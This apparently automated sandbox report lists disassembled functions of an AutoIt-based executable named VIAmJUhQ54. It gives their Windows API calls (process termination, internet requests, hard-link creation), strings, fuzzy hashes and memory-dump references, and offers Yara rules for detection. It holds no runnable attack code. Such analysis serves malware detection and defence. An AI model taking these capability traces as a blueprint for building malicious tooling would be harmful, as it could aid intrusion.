Opcode ID: 7c74a0a9c7e53c37f5670e296a14f0543aa2178411dba3d36d41ec5106e2a780
Instruction ID: 025e749e0f958115f4e646cb28ae0eb28ea4bce57a191291af61cf1b0cb47d95
Opcode Fuzzy Hash: 7c74a0a9c7e53c37f5670e296a14f0543aa2178411dba3d36d41ec5106e2a780
Instruction Fuzzy Hash: C4018136102211EBDB251B94EC48EEB77ADFFC9702B048429FA03968A0DB7C9C00DB54

Function 00767BF7 Relevance: 9.0, APIs: 6, Instructions: 42windowtimethreadCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,00000000), ref: 00767C07
SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 00767C1D
GetWindowThreadProcessId.USER32(?,?), ref: 00767C2C
OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00767C3B
TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00767C45
CloseHandle.KERNEL32(00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00767C4C

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
String ID:
API String ID: 839392675-0
Opcode ID: b452a808007793b5871905facacf8a135817dd71b8f83dbd2ffeb120b753f6f1
Instruction ID: a447e191e238114c9f6e1766e2c01520e5eb652c5f90ff0e6313335809445a41
Opcode Fuzzy Hash: b452a808007793b5871905facacf8a135817dd71b8f83dbd2ffeb120b753f6f1
Instruction Fuzzy Hash: 6EF01772242158BBE7315B529C0EEEF7B7CEBC7B55F044018FA0291451D7A85E41C6B9

Function 00769A20 Relevance: 9.0, APIs: 6, Instructions: 33synchronizationthreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,?), ref: 00769A33
EnterCriticalSection.KERNEL32(?,?,?,?,00795DEE,?,?,?,?,?,0072ED63), ref: 00769A44
TerminateThread.KERNEL32(?,000001F6,?,?,?,00795DEE,?,?,?,?,?,0072ED63), ref: 00769A51
WaitForSingleObject.KERNEL32(?,000003E8,?,?,?,00795DEE,?,?,?,?,?,0072ED63), ref: 00769A5E

Part of subcall function 007693D1: CloseHandle.KERNEL32(?,?,00769A6B,?,?,?,00795DEE,?,?,?,?,?,0072ED63), ref: 007693DB

InterlockedExchange.KERNEL32(?,000001F6), ref: 00769A71
LeaveCriticalSection.KERNEL32(?,?,?,?,00795DEE,?,?,?,?,?,0072ED63), ref: 00769A78

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
String ID:
API String ID: 3495660284-0
Opcode ID: df1de6d5cd164c6edeb2f32817e03e21322d061ee0ddd75d9ca553b1dad7b36a
Instruction ID: f9db6bf8912965ffa596fe451e455812bc159abc48dfd3dd9af8ded457ef0dab
Opcode Fuzzy Hash: df1de6d5cd164c6edeb2f32817e03e21322d061ee0ddd75d9ca553b1dad7b36a
Instruction Fuzzy Hash: 7FF05E76141211ABD7211BA4EC8DEEA7769FFC6302B148425F603958E0DB7D9C01DB54

Function 00721CDE Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 250COMMON

Download Yara Rule

APIs

Part of subcall function 0073F4EA: std::exception::exception.LIBCMT ref: 0073F51E
Part of subcall function 0073F4EA: __CxxThrowException@8.LIBCMT ref: 0073F533

__swprintf.LIBCMT ref: 00721EA6

Strings

\\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs], xrefs: 00721D49

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Exception@8Throw__swprintfstd::exception::exception
String ID: \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs]
API String ID: 2125237772-557222456
Opcode ID: 5f1b24636bc123248e715ed736e1fb56985ea326cf40fee6e32a99ec67355123
Instruction ID: 9b43af31f2737fd135c9e1ae0857a7f41cf342f5372ef315e3b352e96f7db43a
Opcode Fuzzy Hash: 5f1b24636bc123248e715ed736e1fb56985ea326cf40fee6e32a99ec67355123
Instruction Fuzzy Hash: 7F91AC71504261EFCB25EF24E889C6EB7A4FF95700F51491DF885972A2DB38ED04CB92

Function 0077AFE0 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 229COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 0077B006
CharUpperBuffW.USER32(?,?), ref: 0077B115
VariantClear.OLEAUT32(?), ref: 0077B298

Part of subcall function 00769DC5: VariantInit.OLEAUT32(00000000), ref: 00769E05
Part of subcall function 00769DC5: VariantCopy.OLEAUT32(?,?), ref: 00769E0E
Part of subcall function 00769DC5: VariantClear.OLEAUT32(?), ref: 00769E1A

Strings

Incorrect Parameter format, xrefs: 0077B03E, 0077B20B
AUTOIT.ERROR, xrefs: 0077B11B

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Variant$ClearInit$BuffCharCopyUpper
String ID: AUTOIT.ERROR$Incorrect Parameter format
API String ID: 4237274167-1221869570
Opcode ID: e8b5d3d72bf2db250379d89dd7f733a14571b84be9dcd0bac1b565a8b55970f5
Instruction ID: f3ef9e8ef8b966c6bf092417bce061323167c010b719ec40812d4e0e8fd51cec
Opcode Fuzzy Hash: e8b5d3d72bf2db250379d89dd7f733a14571b84be9dcd0bac1b565a8b55970f5
Instruction Fuzzy Hash: 9C916A70608305DFCB10DF24D485A5ABBF4BF89744F04886DF89A9B362DB39E945CB52

Function 00765347 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 180windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0073C6F4: _wcscpy.LIBCMT ref: 0073C717

_memset.LIBCMT ref: 00765438
GetMenuItemInfoW.USER32(?), ref: 00765467
SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00765513
SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 0076553D

Strings

0, xrefs: 00765430

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: ItemMenu$Info$Default_memset_wcscpy
String ID: 0
API String ID: 4152858687-4108050209
Opcode ID: fcc2742f5d19e069d7ce176c6c2860f5e4c7ed6fe500e797d986dcd52d5071ea
Instruction ID: 2616227631bcfde25b00f77496913dd5a27ae710af76c93a890012f002981054
Opcode Fuzzy Hash: fcc2742f5d19e069d7ce176c6c2860f5e4c7ed6fe500e797d986dcd52d5071ea
Instruction Fuzzy Hash: 515133716047419BD310DB28C8496ABBBEAAF85724F14062EFC97D3292DB7CCC44AB42

Function 00760213 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 120comlibraryloaderCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 0076027B
SetErrorMode.KERNEL32(00000001,?,?,?,?,?,?,?,?,?), ref: 007602B1
GetProcAddress.KERNEL32(?,DllGetClassObject), ref: 007602C2
SetErrorMode.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 00760344

Strings

DllGetClassObject, xrefs: 007602B7

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: ErrorMode$AddressCreateInstanceProc
String ID: DllGetClassObject
API String ID: 753597075-1075368562
Opcode ID: 6447c4dfe9ac66b0d5c48bf0f6401ff6308add43c604903ea8f83ed183db6986
Instruction ID: 099449623cff2c00ae0d0287b302ded1acafbb54cfe0a2eb00973ea304449f83
Opcode Fuzzy Hash: 6447c4dfe9ac66b0d5c48bf0f6401ff6308add43c604903ea8f83ed183db6986
Instruction Fuzzy Hash: 044138B1600204EFDB15CF65C884A9B7BB9EF85311B1480ADED0A9F206D7B9DE44DBE0

Function 00765007 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 114windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00765075
GetMenuItemInfoW.USER32 ref: 00765091
DeleteMenu.USER32(00000004,00000007,00000000), ref: 007650D7
DeleteMenu.USER32(?,00000000,00000000,?,00000000,00000000,007E1708,00000000), ref: 00765120

Strings

0, xrefs: 0076506D

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Menu$Delete$InfoItem_memset
String ID: 0
API String ID: 1173514356-4108050209
Opcode ID: 25bb9ef9222b6439471262b43e71bc55ad37a8040e5a5126fea6ca98864c198c
Instruction ID: b236ffed89f34f00ed73b7cbfbbc416fab11bd538d2fe473f5e84ac48b0a4ab7
Opcode Fuzzy Hash: 25bb9ef9222b6439471262b43e71bc55ad37a8040e5a5126fea6ca98864c198c
Instruction Fuzzy Hash: D441E230204701EFD724DF24D884B6AB7E4AF8A324F144A1EFD9697391D738E904DB62

Function 0076E698 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 110fileCOMMON

Download Yara Rule

APIs

CreateHardLinkW.KERNEL32(00000002,?,00000000), ref: 0076E742
GetLastError.KERNEL32(?,00000000), ref: 0076E768
DeleteFileW.KERNEL32(00000002,?,00000000), ref: 0076E78D
CreateHardLinkW.KERNEL32(00000002,?,00000000,?,00000000), ref: 0076E7B9

Strings

p1Mw`KNw, xrefs: 0076E78D

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: CreateHardLink$DeleteErrorFileLast
String ID: p1Mw`KNw
API String ID: 3321077145-3626030660
Opcode ID: cecde0dee41501db56fa3f667b653dbd27378cbcf569b83280e42137bc7784e1
Instruction ID: 7332a57a101d5dae70ca4f25414c23f47dabb52c346a58ce4149ddf622a6c6d3
Opcode Fuzzy Hash: cecde0dee41501db56fa3f667b653dbd27378cbcf569b83280e42137bc7784e1
Instruction Fuzzy Hash: 3B410439600610DFCF11EF15C448A4DBBE5BF99710F198498EA46AB3A2CB38FD01CBA5

Function 00780567 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 100COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?,?,?), ref: 00780587

Strings

stdcall, xrefs: 00780609
cdecl, xrefs: 007805DE
winapi, xrefs: 007805F8
none, xrefs: 00780662

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: BuffCharLower
String ID: cdecl$none$stdcall$winapi
API String ID: 2358735015-567219261
Opcode ID: c931e2859969d399175562a7346d400c29266c6d797f2480836419bb1b1939c4
Instruction ID: 1998b5db252ebba87b9711f88f7f7a43d77268bd0a46f759b703c32b12176055
Opcode Fuzzy Hash: c931e2859969d399175562a7346d400c29266c6d797f2480836419bb1b1939c4
Instruction Fuzzy Hash: 5131C67060011AEFCF00EF54CD459EEB3B4FF54310B00862AE426A76D1EB79E915CB90

Function 0075B80A Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 93windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000188,00000000,00000000), ref: 0075B88E
SendMessageW.USER32(?,0000018A,00000000,00000000), ref: 0075B8A1
SendMessageW.USER32(?,00000189,?,00000000), ref: 0075B8D1

Strings

ComboBox, xrefs: 0075B815
ListBox, xrefs: 0075B84D

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: MessageSend
String ID: ComboBox$ListBox
API String ID: 3850602802-1403004172
Opcode ID: 6b36bc4200d336b9c03c1c0797ffd1bcfc01dbf03e6e709719c8c0c2212bd7eb
Instruction ID: cdfcecdc49c0885a51e1c663b9bcf74d07bc4b9c00b3fba36a101e95013d830d
Opcode Fuzzy Hash: 6b36bc4200d336b9c03c1c0797ffd1bcfc01dbf03e6e709719c8c0c2212bd7eb
Instruction Fuzzy Hash: 5321F6B1900108FFDB14AB64D88ADFE777CDF55351B109129F822A71E1DBBC6D0A9B60

Function 007743E2 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 85networkCOMMON

Download Yara Rule

APIs

InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 00774401
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00774427
HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 00774457
InternetCloseHandle.WININET(00000000), ref: 0077449E

Part of subcall function 00775052: GetLastError.KERNEL32(?,?,007743CC,00000000,00000000,00000001), ref: 00775067

Strings

, xrefs: 00774450

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: HttpInternet$CloseErrorHandleInfoLastOpenQueryRequestSend
String ID:
API String ID: 1951874230-3916222277
Opcode ID: c4eb5d9050617abbe09625586ced737bafc0a330eca197627148291a6c81026a
Instruction ID: 226ca1abe4d55ca656622a7cc3d5a67f8c070b0d6513d32f52d10afde230a979
Opcode Fuzzy Hash: c4eb5d9050617abbe09625586ced737bafc0a330eca197627148291a6c81026a
Instruction Fuzzy Hash: B32150B2600208BEEB219F64CC85EBF76EDEB89794F10C52AF50996140DB789D05A771

Function 007890E2 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 80windowlibraryCOMMON

Download Yara Rule

APIs

Part of subcall function 0073D17C: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 0073D1BA
Part of subcall function 0073D17C: GetStockObject.GDI32(00000011), ref: 0073D1CE
Part of subcall function 0073D17C: SendMessageW.USER32(00000000,00000030,00000000), ref: 0073D1D8

SendMessageW.USER32(00000000,00000467,00000000,?), ref: 0078915C
LoadLibraryW.KERNEL32(?), ref: 00789163
SendMessageW.USER32(?,00000467,00000000,00000000), ref: 00789178
DestroyWindow.USER32(?), ref: 00789180

Strings

SysAnimate32, xrefs: 00789137

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: MessageSend$Window$CreateDestroyLibraryLoadObjectStock
String ID: SysAnimate32
API String ID: 4146253029-1011021900
Opcode ID: d91e6c2000c0240fbd4bddc97b5ceaedcb35721efeb9dd6214f1cb2b98bf5e44
Instruction ID: 69dc6a51edbe5ee19f0a67ea17106520569d15485a53dd2368b21631de8c881a
Opcode Fuzzy Hash: d91e6c2000c0240fbd4bddc97b5ceaedcb35721efeb9dd6214f1cb2b98bf5e44
Instruction Fuzzy Hash: 2A21D471A4420AFBEF205F64DC8CEBB77ADEF99364F184218FA11A2190D739CC41A761

Function 00769568 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78filepipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(0000000C), ref: 00769588
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 007695B9
GetStdHandle.KERNEL32(0000000C), ref: 007695CB
CreateFileW.KERNEL32(nul,40000000,00000002,0000000C,00000003,00000080,00000000), ref: 00769605

Strings

nul, xrefs: 00769600

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: CreateHandle$FilePipe
String ID: nul
API String ID: 4209266947-2873401336
Opcode ID: ffa70da1e8b9938f854a4fa5ccdff2144c16872c38fffa4d1f1ba13818155534
Instruction ID: 61188469e1148642907b7955e5707683a56024ac8a871779f98df511f847e549
Opcode Fuzzy Hash: ffa70da1e8b9938f854a4fa5ccdff2144c16872c38fffa4d1f1ba13818155534
Instruction Fuzzy Hash: D0215E70600205ABDB219F29DC05A9A7BBCBF85720F204A19FEA3D72D1D778DD55CB20

Function 00769634 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78filepipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6), ref: 00769653
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00769683
GetStdHandle.KERNEL32(000000F6), ref: 00769694
CreateFileW.KERNEL32(nul,80000000,00000001,0000000C,00000003,00000080,00000000), ref: 007696CE

Strings

nul, xrefs: 007696C9

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: CreateHandle$FilePipe
String ID: nul
API String ID: 4209266947-2873401336
Opcode ID: ed767410d1a444450eb67a0178ecf1ad0137d264b002d37c27a93ae8b0f0a1a5
Instruction ID: 16fc8701ca4826cb840b56ebf652cb21bc2d38b9ea04161e94a2616cb08b950d
Opcode Fuzzy Hash: ed767410d1a444450eb67a0178ecf1ad0137d264b002d37c27a93ae8b0f0a1a5
Instruction Fuzzy Hash: 7021AF716003059BDB209F69DC04E9A77FCAF85720F204A19FEA2E32D0EB789C41CB25

Function 0076DAF6 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 0076DB0A
GetVolumeInformationW.KERNEL32(?,?,00007FFF,?,00000000,00000000,00000000,00000000), ref: 0076DB5E
__swprintf.LIBCMT ref: 0076DB77
SetErrorMode.KERNEL32(00000000,00000001,00000000,007BDC00), ref: 0076DBB5

Strings

%lu, xrefs: 0076DB71

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: ErrorMode$InformationVolume__swprintf
String ID: %lu
API String ID: 3164766367-685833217
Opcode ID: 649db7adf82124f5f9cc5430ea26c3979fe0e83892ffd0447ceac50e4e53d4cd
Instruction ID: af139868c0cac873ab5602329dc1491f16757eab352c5ab9993eff60775a27dd
Opcode Fuzzy Hash: 649db7adf82124f5f9cc5430ea26c3979fe0e83892ffd0447ceac50e4e53d4cd
Instruction Fuzzy Hash: 76218375A00108EFCB11EF64D985EEEBBB9EF89704B014069F90AD7251DB74EE41CB61

Function 0075C9E0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 67windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0075C82D: SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,00000001), ref: 0075C84A
Part of subcall function 0075C82D: GetWindowThreadProcessId.USER32(?,00000000), ref: 0075C85D
Part of subcall function 0075C82D: GetCurrentThreadId.KERNEL32 ref: 0075C864
Part of subcall function 0075C82D: AttachThreadInput.USER32(00000000), ref: 0075C86B

GetFocus.USER32 ref: 0075CA05

Part of subcall function 0075C876: GetParent.USER32(?), ref: 0075C884

GetClassNameW.USER32(?,?,00000100), ref: 0075CA4E
EnumChildWindows.USER32(?,0075CAC4), ref: 0075CA76
__swprintf.LIBCMT ref: 0075CA90

Strings

%s%d, xrefs: 0075CA8A

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Thread$AttachChildClassCurrentEnumFocusInputMessageNameParentProcessSendTimeoutWindowWindows__swprintf
String ID: %s%d
API String ID: 3187004680-1110647743
Opcode ID: 6bb77cb4f780d2dddea97670b73f97622209acab95fe357d9c7f5b749361476e
